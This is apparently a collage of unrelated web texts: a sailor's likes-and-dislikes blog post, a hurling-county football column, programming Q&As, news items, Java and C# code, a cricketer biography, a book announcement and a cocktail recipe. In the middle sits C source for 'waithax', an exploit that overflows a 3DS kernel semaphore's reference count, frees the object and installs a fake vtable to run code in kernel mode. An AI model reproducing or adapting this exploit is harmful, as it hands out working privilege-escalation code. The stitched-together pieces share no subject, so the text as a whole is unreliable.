I love reading posts where you get to know the person better, and I wanted to share my likes and dislikes with you, including some of the rather weirder ones in the hope that maybe you can get to know me a little better!
Tomatoes – if anyone so much as brings one of these things near me I will scream. I absolutely hate tomatoes, the texture, the taste, the smell, all disgusting.
I have never liked tomatoes, I will even go as far as looking at the menu and seeing tomato on it within a meal and immediately ruling that item out.
IPhone updates – if my computer tries to do one more update when I'm working on something, then I will throw it out of the window.
IPhone updates are literally the pits.
Packing – I hate packing. I cannot seem to be able to pack without needing 37 suitcases just go away for the weekend. This is weird when you consider that I am one of the most OCD driven, spreadsheet writing, organised people you will probably ever meet.
Middle lane walkers/drivers – yes middle lane walkers are the worst! Walking down the street or in the supermarket aisle, and they just stop in the middle and piss about doing nothing. Move to the side… It is the same on the roads, there's always the one idiot hogging the middle lane like their life depends on it, the left lane is clear, there is no-one in it, move into it!
Dogs– this ones pretty obvious if you follow me on Instagram! I love my 3 retrievers, and OK, Bertie is really my favourite! Working with Bertie as a PAT (Pets as Therapy) dog really does make me smile, I can see the difference he makes to peoples lives. He travels to different care homes and hospitals around Essex, and it really is an amazing job, and he totally loves giving out cuddles and love!
Disney – I am a little Disney mad.
I've been to the USA parks 6 times, and I would probably go as far as saying it's one of my ideal holiday destinations! There is nothing more fun than hurtling around a theme park being a great big child!
This is my version of the entrance to heaven!
Twister – my favourite movie… I love this movie! It might be old, but its soooo good!
Nails – now it's not really common knowledge, but I once did a nail tech course as I love doing nails. It used to be a thing of mine that I would always have my nails painted for major competitions, and I was perhaps a bit superstitious about it.
At one World Championships, I changed the colour of my nails midway through the week, and we had our worst day, so, from that moment on I never changed colours, and always re-did my nails at night ready for the next day.
But the thing I love most, the thing that gets me up in the morning, is a challenge, and as far as challenges go, the Vendee Globe is right up there with the most challenging!
The road to the Vendee is not going to be easy, but I am well on the way now, and things can only get better.
I will have to perfect my packing skills for the IMOCA and a fairly unknown time at sea, but at least I won't be agonising over which shoes to take ….. oh yes, shoes, I forgot shoes on the love list. Do you think Louboutin will sponsor me ?!


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import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.util.List;
import java.util.Map;

import org.junit.After;
import org.junit.Before;

import com.fasterxml.jackson.jr.ob.JSON;

public abstract class AbstractTest {

    public static final String TEST_MESSAGE = "this is a test message";
    public static final String SOME_KEY = "some_key";
    public static final String SOME_VALUE = "some value";
    public static final String SOME_OTHER_KEY = "some_other_key";
    public static final String SOME_OTHER_VALUE = "some other value";

    protected final ByteArrayOutputStream outContent = new ByteArrayOutputStream();
    protected final ByteArrayOutputStream errContent = new ByteArrayOutputStream();
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    private PrintStream stderr;

    @Before
    public void setupStreams() {
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        stderr = System.err;
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    }

    @After
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        System.setErr(stderr);
    }

    protected String getMessage() {
        return getField("msg");
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    protected String getField(String fieldName) {
        try {
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            ex.printStackTrace();
            return null;
        }
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    @SuppressWarnings("unchecked")
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            return (Map<String, Object>) JSON.std.mapFrom(outContent.toString()).get(fieldName);
        } catch (Exception ex) {
            ex.printStackTrace();
            return null;
        }
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    protected boolean hasField(String fieldName) {
        return getField(fieldName) != null;
    }
}

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Home Columnists Jack Nolan: Football in the county has never been so low
Jack Nolan: Football in the county has never been so low
Jack Nolan
A whopping 14-point defeat at the end of an excruciating performance was hard to take and even harder to watch. It was no wonder that supporters were heading for the exits with 15 minutes still to play at O'Connor Park in Tullamore yesterday.
This, on top of relegation to the pits of the league, was misery piled on misery as Kildare inflicted another massive defeat on a Laois team.
At the conclusion of the league Kildare won promotion to the top tier while Laois drooped to the bottom and that gap in standard was clearly evident on Sunday. There had been some optimism after the defeat of Longford but that victory proved to be a false dawn as the side never looked set to challenge or even compete with Kildare even with the boost of a glorious first minute goal from Donie Kingston.
That goal start was a false indicator too as while Laois kept Kildare at bay for some 20 minutes they could only manage another two points in a first half that lasted 37 minutes and both of them were from frees.
The writing was well and truly on the wall by half time when Laois had only managed 1-2 while Kildare had shot seven unanswered points before the break to lead by seven points. Laois could only manage five scores with the breeze in the second half with three of those from substitute Gary Walsh including the last two scores of the game when Kildare had used their full complement of subs.
While the backs had a torrid time from a flying Kildare attack it was in the middle of the field and attack that Laois were completely outplayed. Midfield was a huge disappointment as they lost the battle in the air and on the ground.
The starting forwards, apart from Donie Kingston's goal, could only manage a single point from play and that from Alan Farrell who spent most of the game in defence. The options taken by the attack and the breakdown of promising movements time and time again was so frustrating.
One thing stood out for me and that was the fitness, speed and physicality of the Kildare side and the complete lack of all three from a Laois perspective. Pre-Christmas training, the O'Byrne Cup and the league are all used to build up fitness and skill and prepare for the cut and thrust of the championship. That is the way it is supposed to be but alas this year that has not happened in Laois.
They look way of the pace. After the last league game against Offaly there were huge complaints about the fitness of the Laois squad to such an extent that Peter Creedon was forced to remove some of his backroom team and take over the physical training from within. It obviously didn't work as on Sunday they were made to look pedestrian by a flying Kildare side.
However, it was the complete lack of physicality and the inability to put in physical tackles that was most alarming. Kildare were hitting everything that moved, and completely within the rules. The Laois attack didn't know what hit then and time and again they had possession knocked from their hands by honest, strong, well-coached, physical tackling.
This team is playing a completely different style of football under Cian O'Neill than his two predecessors. On the evidence of Sunday's performance, they have got rid of the single-minded defensive game and replaced it with a strong all-running, all-attacking game of team football.
There was a lot to admire about it and if they can reproduce it and get over Meath in the semi-final it will certainly make for an interesting decider with Dublin.
That is all ahead of Kildare and whether they stay in the championship proper or not they look to have an extended summer of championship football.
What of Laois and where to from here?
The chickens have well and truly come home to roost. This just hasn't happened this year or overnight. This has been a long time coming. There is no blame to the players that took the field on Sunday as they played as they were prepared and played to the best of their ability on the day against a very good Kildare team.
Amazingly Peter Creedon took no responsibility for the team's performance saying to me in an after-match interview that he was "disappointed for the players … Kildare managed to put us away quite easily in the end". Rarely if ever does a manager criticise his players and to do so and not take the blame for such an inept display is alarming.
I have written numerous times this year about where Laois are at and why they got to where they are. There is no point in flogging a dead horse now. The problem is whether the 'powers that be' realise where Laois football is now and how it has ended up in the bottom basement and looks like staying there for some time to come.
I wrote about this at the end of the league and some county board officials haven't spoken to me since. They never like the truth and even if it is the truth you are not supposed to speak it or write it.
It is on to the qualifiers now but really has anyone in the county any interest in that anymore? What can be gained from it now?
Football in the county was never so low.
SEE ALSO – Creedon disappointed as Laois collapse after good start
Laois v Kildare
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Jack Nolan is well-known GAA pundit having reported and commentated on games since 1972. This year he is celebrating 35 years in business in Portlaoise starting out with a small shoe repair shop and progressing to become the first locksmith in the county. He was recently elected Chairman of the Irish Locksmiths Organisation.

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Q: How to implement an efficient algorithm to search for a word in JSON? I am trying to implement a word game, where a user types a letter on a board to form a meaningful word and submitt it, if the typed word is present in a JSON file, the user gets a point. So I have implemented the basics of the game, but unfortunately I have found that my linear algorithm is inefficient to traverse about 400k words in the JSON file. So my question is what kind of algorithm I can write to make it efficient?
My interface looks like this. Letters appear randomly on the board.

A tiny part of my JSON file look like this
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My JS code looks like this.
 document.getElementById('button').addEventListener('click', loadData);

    const letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
'p','q','r','s','t','u','v','w','x','y','z'];

    var searched_word = '';

    var boxes = document.querySelectorAll('.square');
    //console.log(boxes);

    function clickBox() {
      boxes.forEach(function(box) {
        box.addEventListener('click', function(e) {
          e.preventDefault();
          //console.log(this.innerHTML);
          //return this.innerHTML;
          searched_word += this.innerHTML;
          document.querySelector('.input').value = searched_word;
          //console.log(searched_word);
        });
      });
      return searched_word;
    }

    function randomLetters(boxes) {
      for (var i = 0; i < boxes.length; i++) {
        let box = boxes[i];
        let randomLetterNumber = Math.floor(Math.random() * letters.length);
        box.innerHTML = letters[randomLetterNumber].toLocaleUpperCase();
        //console.log(box);
        //console.log(randomLetterNumber);
      }
    }

    function loadData() {
      const xhr = new XMLHttpRequest();
      xhr.open('GET', 'words_dictionary_full.json', true);
      xhr.onload = function() {
        if (this.status === 200) {
          const words = JSON.parse(this.responseText);
          for (word in words) {
            //console.log(word);
            if (word === clickBox().toLowerCase()) {
              console.log('true');
            } else {
              console.log('false');
            }
          }
        }
      };
      xhr.send();
    }

    clickBox();
    randomLetters(boxes);

A: You can sort the array in your database/json file alphabetically and then use a binary search algorithm to search for words efficiently.
An implementation of a binary search algorithm is defined below (source):
/**
* Copyright 2009 Nicholas C. Zakas. All rights reserved.
* MIT-Licensed
* Uses a binary search algorithm to locate a value in the specified array.
* @param {Array} items The array containing the item.
* @param {variant} value The value to search for.
* @return {int} The zero-based index of the value in the array or -1 if not found.
*/
function binarySearch(items, value){
    var startIndex  = 0,
        stopIndex   = items.length - 1,
        middle      = Math.floor((stopIndex + startIndex)/2);

    while(items[middle] != value && startIndex < stopIndex){

        //adjust search area
        if (value < items[middle]){
            stopIndex = middle - 1;
        } else if (value > items[middle]){
            startIndex = middle + 1;
        }

        //recalculate middle
        middle = Math.floor((stopIndex + startIndex)/2);
    }

    //make sure it's the right value
    return (items[middle] != value) ? -1 : middle;
}

Simply pass the whole list of words and the word you're searching as parameters, it will return -1 if the entry does not exist in the list. You can use Object.keys(json) to convert the keys of the json to an array of words (used for items-parameter).

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Conservative MP Grant Shapps has said that the Conservative Party remains united on the view that Jeremy Corbyn's Marxist ideas would "do more damage" to the UK, despite Theresa May set to face a vote of no confidence.
The Prime Minister is set to face a vote of no confidence from her own Conservative MPs on Wednesday afternoon, following the submission of 48 letters of no confidence against her.
The MP for Welwyn Hatfield told talkRADIO's Mike Graham: "We understand it is a disagreement about a very heartfelt issue over Europe. We are all united in the view that the one thing that would screw up this country, is not this, it would be Jeremy Corbyn running a Marxist government.
"There is nothing that would do more damage to this country than Jeremy Corbyn coming in with Marxist ideas that failed in Venezuela. It hurts the most vulnerable the most.
"But that is not the same as saying we should not get the right deal for Britain on exiting Europe.
When asked what will happen to May after the vote, Shapps said she is "programmed to say that if she wins by one she will stay".
"Theresa May is programmed to say that if she wins by one she will stay. She is not going to do a Margaret Thatcher I believe," he said.
The vote of no confidence will take place between 6pm and 8pm on Wednesday, with the result announced soon afterwards.
The Prime Minister will need to secure the votes of 158 MPs - half the parliamentary party plus one - to remain as Conservative leader.


FRANKFURT, Jan 29 (Reuters) The number of court cases against Germanys Ba;yer AG over its recalled cholesterol drug Baycol could touch 15,000, HSBC said in a research not on Tuesday, quoting a lawyer for the plaintiffs.
HSBC said attorney Kenneth Moll told a conference call it had organized last Friday that Bayer was paying his clients up to $1.25 million each in out-of-court settlements of cases involving death.
Moll characterized the payment as very fair,HSBC said in the note, reiterating its buy rating on the stock.
A Bayer spokesman reached by Reuters said he had no comment on the note.
Bayer withdrew Baycol, sold under the name Lipobay outside the United States, in August 2001 after it was linked with more than 50 deaths worldwide. The number of deaths linked to the drug has since risen to more than 100.
The note said Moll saw Bayer trying to resolve cases before the first trial set for February 17 in Texas, and quoted him saying he saw no reason why any of his clients should not settle out of court.
He estimated that some 400 cases had been settled at an average of $250,000-$300,000 per case, with the total litigation cost working out at $120 million so far, HSBC said.
HSBC said it was more positive with regard to the maximum cost of Baycol litigation to Bayer, and that it continued to believe the worst-case cost to Bayer would be $1.6 billion.
Bayer said earlier this month the number of damage suits it faced from the costly recall of Baycol in 2001 had risen to 7,400 from 5,700. It said it had settled 400 cases out of court, up from its last count of 190.
Bayer has said in the past it has made no special provisions for Baycol as it had taken insurance for such possible cases.
Bayer shares were up 1.8 per cent at 16.78 euros while the blue-chip DAX index was up 1.9 per cent at 0938 GMT.


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text:
static Handle g_backdoor_semaphore;
static KSemaphore* g_backdoor_ksemaphore;

static KSemaphore* g_hax_ksemaphore;
static KSemaphore g_backup_data;
static void* g_fake_ksemaphore_vtable[KSEMAPHORE_VTABLESIZE / sizeof(void*)];

static void (*g_backdoor_method)(void);
static u32 g_exploit_result = 0;

static bool g_debug_mode = false;

static void K_Debug_PatchRefcount(KSemaphore *semaphore, u32 value)
{
    semaphore->refCount = value;
}

static bool waithax_kernel11_backdoor(KSemaphore *this, void *thread)
{
    g_backdoor_method();
    return true;
}

static void waithax_kernel11_setup_step1(KSemaphore *this)
{
    // Turn interrupts off
    __asm__ volatile("cpsid aif");

    // Backup the KObjectLink from the hax semaphore location
    memcpy(&g_backup_data, this, sizeof(KSemaphore));

    // Copy a valid KSemaphore on the current semaphore to prevent crashes after
    // returning from this fake vtable method
    memcpy(this, g_backdoor_ksemaphore, sizeof(KSemaphore));

    // Copy the KSemaphore vtable from kernel memory to the current userland
    // process' memory
    memcpy(g_fake_ksemaphore_vtable, this->vtable, KSEMAPHORE_VTABLESIZE);

    // Point the "backdoor" KSemaphore's vtable to the fake vtable located in
    // the current userland process' memory
    g_backdoor_ksemaphore->vtable = g_fake_ksemaphore_vtable;

    // Increment the refcount to not cause an unwanted deallocation when
    // WaitSynchronization1 terminates.
    this->refCount++;

    // Write the exploit result to validate the kernel code execution
    g_exploit_result = 0xcafebabe;
}

static void waithax_kernel11_setup_step2(void)
{
    // Turn interrupts off
    __asm__ volatile("cpsid aif");

    // Restore KObjectLink on the hax semaphore location
    memcpy(g_hax_ksemaphore, &g_backup_data, sizeof(KSemaphore));
}

static void waithax_setRefCount(Handle handle, u32 value)
{
    s64 outInfo;
    Result res = svcGetHandleInfo(&outInfo, handle, 1);
    u32 refCount = outInfo & 0xFFFFFFFF;
    printf("Handle %08lx, count: %08lx, res %08lx\n\n", handle, refCount, res);

    if(refCount == value)
        return;

    u32 loop = value - refCount;
    if(refCount > value)
        loop = (u32) -refCount + value;

    s32 out;
    Handle handles[0x100];
    for(u32 i = 0; i < 0x100; i++)
        handles[i] = handle;
    handles[0xFF] = 0xDEADDEAD;

    u32 bulkLoop = loop / 0xFF;
    u32 individualLoop = loop % 0xFF;

    // The time retrieved by osGetTime is in milliseconds
    u64 startTime = osGetTime();
    u64 lastTime = osGetTime();

    // How many seconds are left and how many have elapsed
    float left, elapsed;

    for(u32 i = 0; i < bulkLoop; i++)
    {
        res = svcWaitSynchronizationN(&out, handles, 0x100, true, 0);
        refCount += 0xFF;

        if((i & 0xFFFF) == 0)
        {
            elapsed = (osGetTime() - startTime) / 1000.0f;
            left = ((float) bulkLoop / i - 1) * elapsed;

            u64 timeElapsed = (u64)elapsed;
            u64 timeLeft = (u64)left;
            u64 timeDifference = (osGetTime() - lastTime) / 1000;

            printf("\x1b[9;0HLeft: %08lx | i: %08lx | count: %08lx\n",
                bulkLoop - i, i, refCount);
            printf("\x1b[10;0HETA: %02lluh%02llum%02llus | Elapsed: %02lluh%02llum%02llus\n",
                timeLeft / 3600, (timeLeft % 3600) / 60, timeLeft % 60,
                timeElapsed / 3600, (timeElapsed % 3600) / 60, timeElapsed % 60);
            printf("\x1b[11;0HSeconds between updates: %lld (%s speed)  ",
                timeDifference,
                (timeDifference == 0
                ? "unknown"
                : timeDifference < 10 ? "New3DS" : "Old3DS"));

            lastTime = osGetTime();
        }
    }

    handles[1] = 0xDEADDEAD;
    for(u32 i = 0; i < individualLoop; i++)
    {
        res = svcWaitSynchronizationN(&out, handles, 2, true, 0);
        refCount++;

        printf("\x1b[8;0HLeft: %08lx | i: %08lx | count: %08lx\n",
            individualLoop - i, i, refCount);
    }
}

static void wait_thread(void *h)
{
    Handle semaphore = (Handle)h;
    Result res = svcWaitSynchronization(semaphore, 4000000000LL);
    printf("Thread WaitSync res: %08lx\n", res);
}

bool waithax_run(void)
{
    Result res;
    Handle sHax, sVtable;
    Thread thWait;
    u32 *kObject;

    // Setup KSemaphores
    res = svcCreateSemaphoreKAddr(&sHax, 0, 5, (u32**)&g_hax_ksemaphore);
    printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res, sHax,
        (u32)g_hax_ksemaphore);

    res = svcCreateSemaphoreKAddr(&sVtable, 0,
        (u32)waithax_kernel11_setup_step1, &kObject);
    printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res, sVtable,
        (u32)kObject);

    res = svcCreateSemaphoreKAddr(&g_backdoor_semaphore, 0, 5,
        (u32**)&g_backdoor_ksemaphore);
    printf("Creating KSemaphore: %08lx h%08lx @%08lx\n", res,
        g_backdoor_semaphore, (u32)g_backdoor_ksemaphore);

    // Setup the refcount
    if(g_debug_mode)
        svc_7b(K_Debug_PatchRefcount, g_hax_ksemaphore, 0U);
    else
        waithax_setRefCount(sHax, 0U);

    // Free the "vtable" KSemaphore
    svcCloseHandle(sVtable);

    // Spawn the wait thread
    printf("Spawning wait thread\n");
    thWait = threadCreate(wait_thread, (void*)sHax, 0x4000, 0x20, -2, true);

    // Deallocate the "hax" KSemaphore
    printf("Freeing hax KSemaphore\n");
    svcCloseHandle(sHax);

    // Wait for the thread execution to end, at which point Kernel11-mode code
    // will have been executed
    printf("Waiting for thread\n");
    threadJoin(thWait, 15000000000LL);

    // Setup the fake vtable method for the "backdoor" KSemaphore to run
    // Kernel11-mode code in a better environment and in an easier way
    printf("Setting up fake vtable method\n");
    g_fake_ksemaphore_vtable[12] = waithax_kernel11_backdoor;

    // Restore "hax" KSemaphore data
    waithax_backdoor(waithax_kernel11_setup_step2);

    // Return exploit result
    printf("Exploit result: %08lx\n", g_exploit_result);
    return g_exploit_result == 0xcafebabe;
}

void waithax_cleanup(void)
{
    svcCloseHandle(g_backdoor_semaphore);
}

void waithax_debug(bool enabled)
{
    g_debug_mode = enabled;
}

void waithax_backdoor(void (*method)(void))
{
    g_backdoor_method = method;
    svcWaitSynchronization(g_backdoor_semaphore, -1);
}


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Q: How can I color text in HTML without using span, div, or p I am trying to color a word this way:
2679 pictures in 73 albums!

For some reason, the second span creates a line break in the text. Any ideas?
Thanks!

A: If all of your  tags will have black text then use CSS to make it happen and ditch the  tags altogether:
strong {
    color: #000;
}

Or if you only want some  tags to be black then apply a class to those:
strong.black {
    color: #000;
}

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Paul Robert Stirling (born 3 September 1990) is an Irish cricketer. Stirling is the opening batsman for the Ireland cricket team and an occasional right arm off break bowler. He is one of the top 10 run scorers in T20 internationals. He was one of the eleven cricketers to play in Ireland's first ever Test match, against Pakistan, in May 2018. He was appointed as the vice-captain of the Ireland team in June 2020.

Stirling debuted in first-class cricket in March 2008, playing for Ireland in the Intercontinental Cup. The same year Stirling made his debut in One Day Internationals (ODIs). Having represented Middlesex's youth sides and Second XI, Stirling signed a contract with the club in December 2009. A month later he was awarded a contract with Cricket Ireland, making him one of six players with a full-time contract with the board. He made his Twenty20 and List A debuts for Middlesex in 2010 and 2011 respectively.

In December 2018, Stirling was one of nineteen players to be awarded a central contract by Cricket Ireland for the 2019 season. In July 2019, in the second ODI against Zimbabwe, Stirling became the first batsman for Ireland to score 4,000 runs in ODIs. In January 2020, he was one of nineteen players to be awarded a central contract from Cricket Ireland, the first year in which all contracts were awarded on a full-time basis. In August 2021, Stirling played in his 300th match for Ireland, in the opening fixture of Ireland's series against Zimbabwe. In January 2022, Stirling captained Ireland for the first time in ODIs, in the second match against the West Indies, after Andrew Balbirnie was ruled out of the match due to COVID-19. In the same match, Stirling also became the first cricketer for Ireland to score 5,000 runs in ODIs.

Early career
In July 2009, Stirling scored his maiden first-class century. In Ireland's opening match of the 2009–10 ICC Intercontinental Cup, he opened the batting with Jeremy Bray and in the first innings scored 100. Stirling was a member of the Ireland squad that participated in 2010 Under-19 World Cup hosted by New Zealand in January. The team were runners-up to Bangladesh in the Plate Championship, finishing tenth overall out of 16 teams. Stirling was the team's leading run-scorer, with 209 from five matches.

Contracts with Middlesex
In December 2009, Stirling signed a three-year contract with Middlesex County Cricket Club, joining former Ireland international Eoin Morgan at the club. According to Angus Fraser, the club's director of cricket, representing Ireland is Stirling's priority; he also stated that "Paul has been involved with the Middlesex youth sides and Second XI and we are delighted that he has now signed a  contract for the club. His batting for Ireland in 2009 highlighted his potential". The following month Cricket Ireland, the governing body for cricket in Ireland, awarded Stirling a full-time contract. He was one of six players to be awarded such contracts with Cricket Ireland, and came just a year after the first professional contracts were awarded to Ireland's cricketers. Before that players were amateurs relying on income from other jobs and playing cricket in their spare time. The contract allowed Stirling and the others to focus on cricket, with the aim of improving ahead of the 2011 World Cup.

After the 2011 Cricket World Cup, Stirling broke into Middlesex's one-day side during the 2011 season, making his List A debut for the club on 24 April against Worcestershire. Although Middlesex failed to progress beyond the group stages of the 2011 Clydesdale Bank 40, Stirling enjoyed personal success. Scoring 535 runs from 12 matches, he was Middlesex's leading run-scorer and 7th in the competition. During an innings of 68 against Yorkshire, one of Stirling's two half-centuries in the competition, he passed 2,000 runs in List A cricket. Towards the end of the competition Stirling struck his first century in Middlesex colours, scoring 109 runs from 81 balls to a 34-run win over Derbyshire.

Although a full-strength team played against England in an ODI in August 2012, county commitments meant many of Ireland's senior players were unavailable to play in the team's opening match of the 2011–13 Intercontinental Cup. An attacking half-century from Stirling in the final innings of the match helped secure victory for Ireland. Later that same month Stirling scored his second first-class century. His innings of 107, beating his previous highest score of 100, came off just 79 deliveries and helped Ireland to their second win of the Intercontinental Cup.

Acknowledgment
In August 2010, Stirling was nominated in the "Emerging Player of the Year" and "Associate and Affiliate Player of the Year" categories for the ICC Awards. He was the only associate member to be nominated in the "Emerging Player" category, the other 15 players coming from Test-playing countries. Ireland's had most nominees in the "Associate and Affiliate" category, with Trent Johnston and Kevin O'Brien included alongside Stirling. Richard Holdsworth, a representative of the ICC, said "I think it's fantastic for Paul Stirling to be nominated in two separate categories and to be recognised alongside some of the leading emerging players in the Full Members, it proves how far the development of Associate cricket has progressed". He did not make the short list in either category.

In the annual ICC Awards in January 2022, Stirling was included in ICC Men's ODI Team of the Year for the year 2021.

International career
On 7 September 2010, during a One Day International against Canada, Stirling made his maiden List-A century, scoring 177 runs. In doing so, Stirling made the highest individual score for Ireland in a One Day International.

Stirling was selected in Ireland's 15-man squad for the 2011 World Cup. Ireland won two out of six matches, which was not sufficient to progress beyond the group stage, but finished on a high by beating the Netherlands. Chasing 307 to win on a batting friendly wicket, Stirling opened the batting with team captain William Porterfield. The pair shared a partnership of 177 runs, setting a new record for Ireland's first wicket in ODIs. Stirling fell for 101, his century coming off 70 deliveries, which made it the fourth-fastest in World Cup history.

When Ireland's cricketers have been regulars for English counties, demands from country and club have sometimes come into conflict. Despite this, Stirling played in Ireland's two-match ODI series against Pakistan in May. Ireland lost the series 2–0, but in the second match Stirling scored his first century against a Test nation. Stirling's influence on the team was such that, along with all-round Kevin O'Brien, he was one of two Ireland players shortlisted for Associate and Affiliate Player of the Year at the 2011 ICC Awards in August.

A side made up of some of the best players from Associate and Affiliate teams was put together to face England in Dubai in January 2012. The three-day match was part of England's preparation for a series against Pakistan later that month. Stirling was one of four Ireland players included in the 12-man squad.

In the ODI series against Afghanistan he along with Rashid Khan became the first pair of bowlers representing different teams to take 6 wickets a piece in a single ODI  match

In February 2018, the International Cricket Council (ICC) named Stirling as one of the ten players to watch ahead of the 2018 Cricket World Cup Qualifier tournament.

In May 2018, he was named in a fourteen-man squad for Ireland's first ever Test match, which was played against Pakistan later the same month. He made his Test debut for Ireland, against Pakistan, on 11 May 2018. He scored 17 runs in the first innings, and became the first Irish batsman to score a boundary in Test cricket. In January 2019, he was named in Ireland's squad for their one-off Test against Afghanistan in India.

In September 2019, he was named in Ireland's squad for the 2019 ICC T20 World Cup Qualifier tournament in the United Arab Emirates. He was the leading run-scorer in the tournament, with 291 runs in eight matches.

In June 2020, he was named as the vice-captain of the Ireland cricket team. On 10 July 2020, Stirling was named in Ireland's 21-man squad to travel to England to start training behind closed doors for the ODI series against the England cricket team. In January 2021, in Ireland's series against Afghanistan, Stirling scored his 12th century, the most by a cricketer for Ireland in ODIs. In September 2021, Stirling was named in Ireland's provisional squad for the 2021 ICC Men's T20 World Cup.

Franchise career
In September 2018, he was named in Kandahar's squad in the first edition of the Afghanistan Premier League tournament. The following month, he was named in Paarl Rocks' squad for the first edition of the Mzansi Super League T20 tournament.

In July 2019, he was selected to play for the Belfast Titans in the inaugural edition of the Euro T20 Slam cricket tournament. However, the following month the tournament was cancelled.

He signed a contract with Northamptonshire for the 2020 Vitality t20 Blast on 31 January 2020. In October 2020, he was drafted by the Dambulla Viiking for the inaugural edition of the Lanka Premier League. On February of 2021 Stirling signed to Islamabad United as a replacement player. In December 2021, he was signed by Islamabad United following the players' draft for the 2022 Pakistan Super League. He played the first five games of the PSL for Islamabad United before leaving for international duty with Ireland. He returned to Islamabad United before their eliminator game against Lahore Qalandars.

In the inaugural season of The Hundred, he was signed by the Southern Brave.

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using System;

using SoundLibrary.Filter.Equalizer;

namespace SoundLibrary.Pipe.Stereo
{
	/// <summary>
	/// ピッチシフトを行うクラス。
	/// 移調+アンチエイリアス+時間伸縮。
	/// </summary>
	public class PitchShifter : Pipe
	{
		#region フィールド

		TimeStretcher  ts; // 時間伸縮
		RateTransposer rt; //
		FilteredPipe   fp;

		// rate >= 1 のとき、時間伸縮→アンチエイリアス→移調。
		// rate <  1 のとき、移調→アンチエイリアス→時間伸縮。
		CascadePipe cp;
		Pipe[] pipes;

		Queue temp1;
		Queue temp2;

		ParametricEqualizer fl, fr;
		Coefficient[] cd, cap; // fl, fr の係数と、そのアナログプロトタイプ。
		ParametricEqualizer.Parameter[] peq;

		#endregion
		#region 初期化

		public PitchShifter(Queue input, Queue temp1, Queue temp2, Queue output, int size, int overlap, double rate)
			: this(input, temp1, temp2, output, size, overlap, rate, TimeStretcher.DEFAULT_MAXSKIP)
		{
		}

		/// <summary>
		///
		/// </summary>
		public PitchShifter(Queue input, Queue temp1, Queue temp2, Queue output, int size, int overlap, double rate, int maxSkip)
			: base(input, output)
		{
			this.cap = new EllipticFilterDesigner(8, 0.99, 0.05).GetAnalogPrototype();
			this.cd= new Coefficient[this.cap.Length];
			for(int i=0; i<this.cd.Length; ++i) this.cd[i] = new Coefficient();
			this.peq = new ParametricEqualizer.Parameter[this.cap.Length];
			for(int i=0; i<this.peq.Length; ++i) this.peq[i] = new ParametricEqualizer.Parameter();
			this.pipes = new Pipe[3];

			this.fl = new ParametricEqualizer(this.peq);
			this.fr = new ParametricEqualizer(this.peq);

			this.ts = new TimeStretcher(input, output, size, overlap, 1.0/rate, maxSkip);
			this.rt = new RateTransposer(input, output, rate);
			this.fp = new FilteredPipe(input, output, fl, fr);
			this.temp1 = temp1;
			this.temp2 = temp2;

			this.SetRate(rate);
			this.cp = new CascadePipe(this.pipes);
		}

		public void SetRate(double rate)
		{
			if(rate >=1)
			{
				pipes[0] = this.ts; this.ts.InputQueue = this.input; this.ts.OutputQueue = this.temp1;
				pipes[1] = this.fp; this.fp.InputQueue = this.temp1; this.fp.OutputQueue = this.temp2;
				pipes[2] = this.rt; this.rt.InputQueue = this.temp2; this.rt.OutputQueue = this.output;
				FilterDesigner.BilinearTransform(this.cap, this.cd, Math.PI / rate);
				FilterDesigner.ToPeqCoefficient(this.cd, this.peq);
			}
			else
			{
				pipes[0] = this.rt; this.rt.InputQueue = this.input; this.rt.OutputQueue = this.temp1;
				pipes[1] = this.fp; this.fp.InputQueue = this.temp1; this.fp.OutputQueue = this.temp2;
				pipes[2] = this.ts; this.ts.InputQueue = this.temp2; this.ts.OutputQueue = this.output;
				FilterDesigner.BilinearTransform(this.cap, this.cd, Math.PI * rate);
				FilterDesigner.ToPeqCoefficient(this.cd, this.peq);
			}
			this.ts.SetRate(1.0/rate);
			this.rt.Rate = rate;

			this.fl.UpdateGain();
			this.fr.UpdateGain();
		}

		#endregion
		#region 処理

		public override void Process()
		{
			this.cp.Process();
		}

		#endregion
	}
}


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Announcement: Holly Bourne Novella Coming In November!
Super quick post here but we DESPERATELY wanted to share news of the new Holly Bourne novella, which has just been announced by Usborne!
Holly Bourne's Spinster Club series is possibly my VERY favourite ongoing contemporary YA sequence – Am I Normal Yet? and How Hard Can Love Be? are completely amazing, and What's A Girl Gotta Do? is one of my most-anticipated books of the second half of the year. The just-announced novella, which sees the three central characters reunited at a New Year's Eve party, comes out on 1st November and I'll definitely be buying some copies of the hardback (I don't think the above cover is finalised yet, but I'm sure that it will be GORGEOUS) as Christmas presents!
There are so many things I love about this series, but one of the key things for me is that it's a trilogy which – although it includes romance – is firmly focused on the fabulous friendship between the girls of the Spinster Club. Another is that the books are fantastic feminist reads, and the main characters are brilliantly relatable! They're also really funny reads; both of the first two have kept me glued to the page all the way through and I'm sure both book three and the novella will do the same thing!
Have you read any of the Spinster Club series? (If not, I'd highly recommend catching up before the release of What's A Girl Gotta Do?, Lottie's story, on 1st August!) If you have, share your excitement for the upcoming novella on Twitter with hashtag #spinsterclub!


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This Lemon Berry Martini is a fun and refreshing cocktail to sip on! The citrus and berry is perfect for spring or summer, or anytime! This martini is mixed with champagne which makes it bubbly and sophisticated.
We're going high class today! Martini style. These Lemon Berry Martinis make me feel fancy. Which is saying a lot since I spend my day in yoga pants and typically have some kind of food smeared on my shirt. And before you try to justify that statement somehow, no, the yoga pants are not from working out. The hazards of working at home and being surrounded by kids all day. Luckily I am married to a wonderful man though who recognizes that I sometimes need some time to keep my sanity. And I got to go out with a friend the other evening. Can you guess what I ordered off the menu? That's right. A Lemon Berry Martini. And it was so delightful and refreshing I had to recreate it. Duh. That's what I do.
Can we all just take a moment and appreciate the beauty of these fruits? Strawberries are quite possibly my favorite fruit ever. Remember me telling you how I used to sneak them when I was younger? One of the best things about this drink is that there are chunks of fruit in it. There's blueberries and strawberries that get muddled and poured in with the drink. If you don't have a muddler, don't fear! The hubs has discovered a wonderful trick of using two cups to get the same effect. You'll need two different sizes though, one small enough to fit into the other so that you can squish, or muddle the berries. You don't want to just cut them, you want to crush them to get the juices. And a little tip..don't muddle in a glass. The glass can break if you get a little carried away.
The other ingredients to this are pretty simple. Some berry flavored vodka, limoncello, and champagne. I love the idea of champagne in a martini. I like the bubbles. Plus it just makes me feel classy. Same with the martini glasses. They just scream fancy.
Add the sugar, pour in the vodka, and limoncello. Stir to combine.
Pour into a martini glass. Top with the champagne.
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Pour plaster into the mold of your choice.
Seat the larger half of the "Quick-Release" into the mold.
